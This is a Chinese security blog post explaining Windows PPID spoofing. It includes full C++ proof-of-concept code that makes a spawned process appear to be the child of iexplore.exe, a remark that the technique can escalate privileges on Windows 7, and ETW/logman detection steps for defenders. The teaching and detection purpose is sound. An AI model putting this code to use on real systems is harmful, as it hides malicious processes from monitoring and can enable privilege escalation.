FakePPID原理及其检测对抗技术

windows下父进程伪造技术原理分析

Posted by Ga0weI on March 13, 2024

0x01 前言

之前学习FakePPID的时候写的一些东西,昨天写关于R77那个项目的使用的技术的时候提到了,特此更新到blog上;

0x02 原理

Windows触发UAC创建进程的过程中,我们可以知道实际上高权限的进程是由consent.exe进程创建的,但实际上父进程并非指向consent.exe,而是指向UAC发起者的进程ID,这里其实就涉及父进程指定的问题了;

触发UAC的时候consent.exe是利用CreateProcessAsUser函数来指定父进程的; 使用CreateProcess也可以做到:

参考CreateProcess: https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw

通过指定:dwCreationFlags 为EXTENDED_STARTUPINFO_PRESENT(注意Windows Server 2003 和 Windows XP不支持这个值),并且配合指定lpStartupInfo,可以修改创建进程的ppid:

1
2
3
4
5
6
7
8
9
10
11
12
    ret = CreateProcessA(
        "C:\\Windows\\system32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );

0x03 实现

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include<windows.h>
#include<tlhelp32.h>
#include<iostream>

BOOL EnableDebugPriv()
{
    HANDLE hToken;
    LUID Luid;
    TOKEN_PRIVILEGES tkp;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        printf("提权失败\n");
        return FALSE;
    }

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
    {
        CloseHandle(hToken);
        printf("提权失败\n");
        return FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = Luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
    {
        printf("提权失败\n");
        CloseHandle(hToken);
    }
    else
    {
        printf("提权成功!\n");
        return TRUE;
    }

}

DWORD FindExplorerPID() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!_stricmp(process.szExeFile, "iexplore.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {

    HANDLE pHandle = NULL;
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size;
    BOOL ret;

    // Open the process which we will inherit the handle from
    if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID())) == 0) {
        printf("Error opening PID %d\n", FindExplorerPID());
        return 2;
    }

    // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL);

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // Finally, create the process
    ret = CreateProcessA(
        "C:\\Windows\\system32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );

    if (ret == false) {
        printf("Error creating new process (%d)\n", GetLastError());
        return 3;
    }
    // Wait until child process exits.
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    //EnableDebugPriv();
    //PROCESS_INFORMATION pi;
    //STARTUPINFOEXA siex = { 0 };
    //SIZE_T Size;
    //siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    //HANDLE hFake = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());

    //InitializeProcThreadAttributeList(NULL, 1, 0, &Size);
    //siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, Size);
    //InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &Size);


    //UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hFake, sizeof(HANDLE), NULL, NULL);

    //BOOL a  = CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)&siex, &pi);
    ////PS:这里有个小坑,需要开启继承句柄
    //if (!a)
    //    printf("创建失败,GetLastError:0x%x", GetLastError());

    //return 0;
}

编译项目的时候生成64位的exe,32位的有点问题,windows7上可以;但是windows10上不行,在windows10上非常奇怪,最后的子进程(calc)会被运行,但是查看其父进程是svchost,并且运行参数为:

1
"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1812.10048.0_x64__8wekyb3d8bbwe\"

0x04 效果

windows7:

windows10:

|600

0x05 提权

windows7上,可以通过指定一个系统进程作为其父进程,从而实现提权

0x06 对抗以及检测方法

如下图:FakePPID.exe是一个恶意进程,其会利用fakeppid技术实现创建一个notepad.exe 进程,并且其伪造的父进程是iexplore.exe ; 这里我们可以windows etw来做监控:

1
2
3
4
5
6
7
8
1、创建进程相关的监控器:
logman create trace ppid-spoofing -p Microsoft-Windows-Kernel-Process 0x10 -ets
2、开始运行
logman start ppid-spoofing -ets
3、查看监视器运行状态和输出日志文件位置
logman query ppid-spoofing -ets
4、停止之后查看
logman stop ppid-spoofing -ets

使用事件查看器打开etw输出的文件:如下图可以看到Execution ProcessID和ParentProcessID不一样的时候,可能就是存在父进程伪造的情况,但是这里我们要排除一些情况,比如UAC consent.exe 创建进程(文章开头提到),还有报错进程(WerFault.exe,是处理程序报错的进程,当程序内部没办法处理出现的异常的时候,svchost.exe 会启WerFault.exe来处理,但是此时的WerFault.exe的父进程不是svchost而是报错进程) 之后也去sysmon上看了下对应的日志,发现这里很奇怪,ExecutionProcessID和etw监测到的不一样,并且这个进程在机器上没找到,而且sysmon上的所有ID:1的进程创建日志都是这个参数(3876 5224)

参考:

https://blog.xpnsec.com/becoming-system/ https://idiotc4t.com/defense-evasion/fake-ppid https://juejin.cn/post/6844903748884512781 https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/logman https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing